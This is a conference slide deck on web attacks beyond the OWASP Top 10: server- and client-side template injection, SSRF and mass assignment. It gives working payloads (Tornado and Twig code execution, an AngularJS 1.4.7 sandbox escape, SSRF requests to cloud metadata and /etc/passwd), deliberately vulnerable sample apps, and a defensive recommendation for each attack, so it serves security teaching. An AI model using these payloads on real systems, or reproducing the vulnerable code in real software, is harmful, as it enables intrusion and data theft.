Beyond the OWASP

top 10

By Gerome Dieu

 

About me

Gerome Dieu

Appsec | Pen tester at IBM X-Force Red

8+ year of experience in IT

Love breaking things as much as I love building them

CTF player

Agenda

  • OWASP Top 10

  • Server Side Template Injection (SSTI)

  • Client Side Template Injection (CSTI)

  • Server Side Request Forgery (SSRF)

  • Mass Assignment Attacks

Let's Introduce the OWASP TOP 10

https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf

Server Side Template Injection

What is a Template Engine?

http://dwoo.org/what-dwoo.html

What is a Template Injection?

  • Blackhat 2015, James Kettle

  • Invalided user input

  • Injection in template context

  • Remote code execution (RCE)

  • Developer errors or intentional exposure

  • Easy to miss

Tornado, a Python template

  • A Python Web Framework

  • Includes a templating language

  • Good syntax reference

  • Import Python modules

Syntax Reference

{% import module_name %}

Equivalent to the python import statement.

http://www.tornadoweb.org/en/stable/template.html?highlight=templating#syntax-reference

Let's exploit it

{%import os%}{{os.popen("id").read()}

The vulnerable Python template


MY_TEMPLATE = '''
<html>
 <head><title> Hello World! </title></head>
 <body> Hello yourName </body>
</html>
'''
class myMainHandler(tornado.web.RequestHandler):

    def get(self):
        name = self.get_argument('name', '')
        vuln_template = MY_TEMPLATE.replace("yourName",name)
        t = tornado.template.Template(vuln_template)
        self.write(t.generate(name=name))


class my404Handler(tornado.web.RequestHandler):

    def prepare(self):
        self.set_status(404)
        self.render("404.html")

application = tornado.web.Application([
    (r"/", myMainHandler),], default_handler_class=my404Handler, 
    debug=False, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000, address='0.0.0.0')
    tornado.ioloop.IOLoop.instance().start()

Twig, a PHP template

  • Template engine for  PHP

  • Cast to strings

  • self object

  • Twig_environment

  • Sandbox mode

Take a look at the Twig_environment

https://github.com/twigphp/Twig/blob/e22fb8728b395b306a06785a3ae9b12f3fbc0294/lib/Twig/Environment.php

850   public function getFilter($name)
        {
            ...
            ...
            foreach ($this->filterCallbacks as $callback) {
                if (false !== $filter = call_user_func($callback, $name)) {
                    return $filter;
                }
            }
            return false;
        }
    
    
        public function registerUndefinedFilterCallback($callable)
        {
            $this->filterCallbacks[] = $callable;
        }

What does call_user_func do?

http://php.net/manual/en/function.call-user-func.php

The exploit in action!

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

The vulnerable PHP template

<?php
if (isset($_GET['submit'])) {
$name=$_GET['name'];
...
...
Twig_Autoloader::register();
try {
  $loader = new Twig_Loader_String();
  $twig = new Twig_Environment($loader);
  // render template
  $result= $twig->render($name);
  echo "Hello $result";
    } 
  catch (Exception $e) {
  die ('ERROR: ' . $e->getMessage());}
}
?>

Can you avoid Template Injections?

  • A trivial template engine such as Mustache

  • A simple Python’s template

  • A sandbox within a safe environment

References

Portswigger (James kettle):

http://blog.portswigger.net/2015/08/server-side-template-injection.html (portswigger)

 

Template injection in Flask/jinja2

https://nvisium.com/resources/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html

 

Comparison of Template Engines:

https://en.wikipedia.org/wiki/Comparison_of_web_template_engines

Client Side Template Injection

AngularJS, a Front-End Framework

  • MVC Client Side Framework

  • Maintained by google

  • Expressions: {{1+1}}, {{ab+c}}, {{user.name}}

  • Interpreter written in JavaScript

  • Scope Object

  • Angular Sanitizer

  • Expression sandbox < 1.6


The sandbox is not a security feature!


What is an Angular Template Injection?

  • HTML pages rendered by the MVC framework

  • Dynamic template generation

  • Embedded user input into a page

  • Sandbox escape

 

 

You may be vulnerable even if you have HTML-encoded the user input!

double curly braces

+

bypass the sandbox

=

execute arbitrary JavaScript

AngularJS 1.4.7

<html>
    <head> 
        <meta charset="utf-8">
        <title>1.4.7 AngularJS Sandbox Demo</title>
        <script src="angular1.4.7.js"></script>
    </head>
    <body>
        <h3>Testbed for Angular JS version 1.4.7</h3>
        <form action="angular1.4.7.php">
            <input type="text" size="70" name="q" value="hello world">
            <input type="submit" value="go">
        </form>  
        <hr/>
            <b>Angular JS Expression:</b>
            <div ng-app>
            hello world
            </div>
    </body>
</html>
<?php
    $q = $_GET['q'];
    echo htmlspecialchars($q,ENT_QUOTES);
?>

HTML-Encoded

1

2

Reference: http://liveoverflow.com

 {{'a'.constructor.prototype.charAt=[].join;

 

 

$eval('x=1} } };alert(1)//');}}

 lex: function(text) {
    this.text = text;
    this.index = 0;
    this.tokens = [];

while (this.index < this.text.length) {
      var ch = this.text.charAt(this.index);
      if (ch === '"' || ch === "'") {
        this.readString(ch);
      } else if (this.isNumber(ch) || ch === '.' && this.isNumber(this.peek())) {
        this.readNumber();
      } else if (this.isIdent(ch)) {
        this.readIdent();
      } else if (this.is(ch, '(){}[].,;:?')) {
        this.tokens.push({index: this.index, text: ch});
        this.index++;
      } else if (this.isWhitespace(ch)) {
        this.index++;
...
...

  return this.tokens

Lexical Analysis

Part one: fnstring

"use strict";
var fn = function(s, l, a, i) {
        var v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = l && ('\u0024eval' in l),
            v10;
        v4 = 'a';
        if (v4 != null) {
            if (!(v4.constructor)) {
                v4.constructor = {};
            }
            v3 = ensureSafeObject(v4.constructor, text);
        } else {
            v3 = undefined;
        }
        if (v3 != null) {
            if (!(v3.prototype)) {
                v3.prototype = {};
            }
            v1 = v3.prototype;
        } else {
            v1 = undefined;
        }
        if (v1 != null) {
            v2 = v1.charAt;
        } else {
            v2 = undefined;
        }
        if (v1 != null) {
            v5 = [];
            if (v5 != null) {
                v0 = v5.join;
          ...

Part two: Backdoor charAt

"use strict";
var fn = function(s, l, a, i) {
    var v5, v6 = l && ('x\u003d1\u007d \u007d \u007d\u003balert\u00281\u0029\u002f\u002f' in l);
    if (!(v6)) {
        if (s) {
            v5 = s.x = 1
        }
    }
};
alert(1) //;}}else{v5=l.x=1}
...
...

Sandbox bypass

Reference: http://liveoverflow.com

Recommendation

Reference: https://docs.angularjs.org/guide/security

References

portswigger (Gareth Heyes):

http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

 

An Abusive Relationship with AngularJS (Mario Heiderich):

https://fr.slideshare.net/x00mario/an-abusive-relationship-with-angularjs

 

Bypass sandboxing (liveoverflow):

https://www.youtube.com/watch?v=Hium4FVAR5A

Server Side Request Forgery

What is a SSRF?

If instead of:

=legimate_url

you enter this:

=http://localhost/server-status

or

=http://169.254.169.254/latest/meta-data/  

or

=file:///etc/passwd

or

=https://3232235530:3000/

 

 

Let's wrap things up

  • Access services on localhost

  • Access files on local systems

  • Port scans on internal networks

  • Access internal resources such as instance metadata in Amazon AWS

  • Catch Net-NTLM hashes

Basic Example - PHP


<?php 
	// Create a new curl resource 
	$op = curl_init(); 

	// Set url and other options
	curl_setopt($op, CURLOPT_URL, $_POST["my_url"]); 

	// Return the transfer as a string 
	curl_setopt($op, CURLOPT_RETURNTRANSFER, 1); 

	// Store the output string 
	$content = curl_exec($op); 

	// Echo the content and free up resources 
	echo $content;
        curl_close($op);

?>
<form action="vulnSSRF.php">
  <p>
    <input type="text" name="my_url" placeholder="type your URL"/>
  </p>
  <ul class="actions">
    <li><input type="submit" value="Click me!" /></li>
  </ul>
</form>

Get a local file - /etc/passwd

Access - AWS Metadata

http://dann.com.br/ins17-insominihack-web50-smarttomcat/

Access - AWS Metadata

To go further...

1 - Public domains such as:

 

$ host localtest.me
localtest.me has address 127.0.0.1


 

$ host 169.254.169.254.xip.io
169.254.169.254.xip.io has address 169.254.169.254

To go further...

 

2 - HTTP redirects

 

 

To go further...

3 - IP encoding

Dotted hexadecimal

?url=0xA9.0xFE.0xA9.0xFE

Dotless hexadecimal

?url=0xA9FEA9FE

Dotted octal

?url=0251.0376.0251.0376

IPv4-compatible address

http://[::169.254.169.254]/

 

Recommendation

  • White list allowed domains, IPs and protocols

  • Disable unused URL schemas

  • Set up authentication on internal services

  • Filter ports/IPs

References

Nicolas Gregoire(agarri):

http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf

 

SSRF bible:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

Mass Assignment Attack

What is a mass assignment attack?

  • Object-relational mapping (ORM)                 

  • Multiples attributes from input user

  • Created/updated requests

  • Validation missing

  • Arbitrary overwrite any of these attributes

JAVA example

public class User extends Model {
    public String username;
    public String password;
    public boolean admin = false;
}


@helper.form(action=routes.Application.add_user()){
    @helper.inputText(userForm("username"))
    @helper.inputPassword(userForm("password"))
}


public static Result add_user() {
        Form<User> userForm = Form.form(User.class);
        User user = userForm.bindFromRequest().get();
        user.save();
        return redirect("/");
    }

original submission:

 

mydomain.com/add_user?username=something&password=something

 

Malicious form submitted:

 

mydomain.com/add_user?username=something&password=something&admin=true

 

Ruby on Rails example

  class Employee < ActiveRecord::Base
    attr_accessor :username, :email, :project_id
    belongs_to :project
  end

  class Project < ActiveRecord::Base
    attr_accessor :name, :client, :secret
    has_many :employees
  end


project1 = Project.create(:name => "project 1", :client => "client 1",
 :secret => "secret information client 1")
project2 = Project.create(:name => "project 2", :client => "client 2", 
 :secret => "secret information client 2")

project1.employees << Employee.create(:username => "gdieu", :email => "gdieu@gmail.com")


  get "/edit" do
    @employee = Employee.find(session[:employee].to_s)
    render :profile
  end

  post "/update" do
    @employee = Employee.find(session[:employee].to_s)
    @employee.update_attributes(params[:employee])
    @employee.save
    redirect_to :profile
  end

let's exploit it

Recommendation

Java:

userForm.bindFromRequest(“username”,”password”).get();

 

Ruby on Rails:

>3.2.3:

attr_protected (method)

attr_accessible (method)

config.active_record.whitelist_attributes = true

>=4:

strong_parameters

References

owasp cheat sheet:

https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet

 

Play framework:

https://ipsec.pl/play-framework/2014/avoiding-mass-assignment-vulnerability-play-framework-and-dropwizard.html

 

Ruby on rails:

https://code.tutsplus.com/tutorials/mass-assignment-rails-and-you--net-31695

Questions?

@_gdieu

gerome.dieu@gmail.com

https://www.linkedin.com/in/geromedieu/

Beyond the OWASP top 10

By gdieu

Beyond the OWASP top 10

Final version

  • 392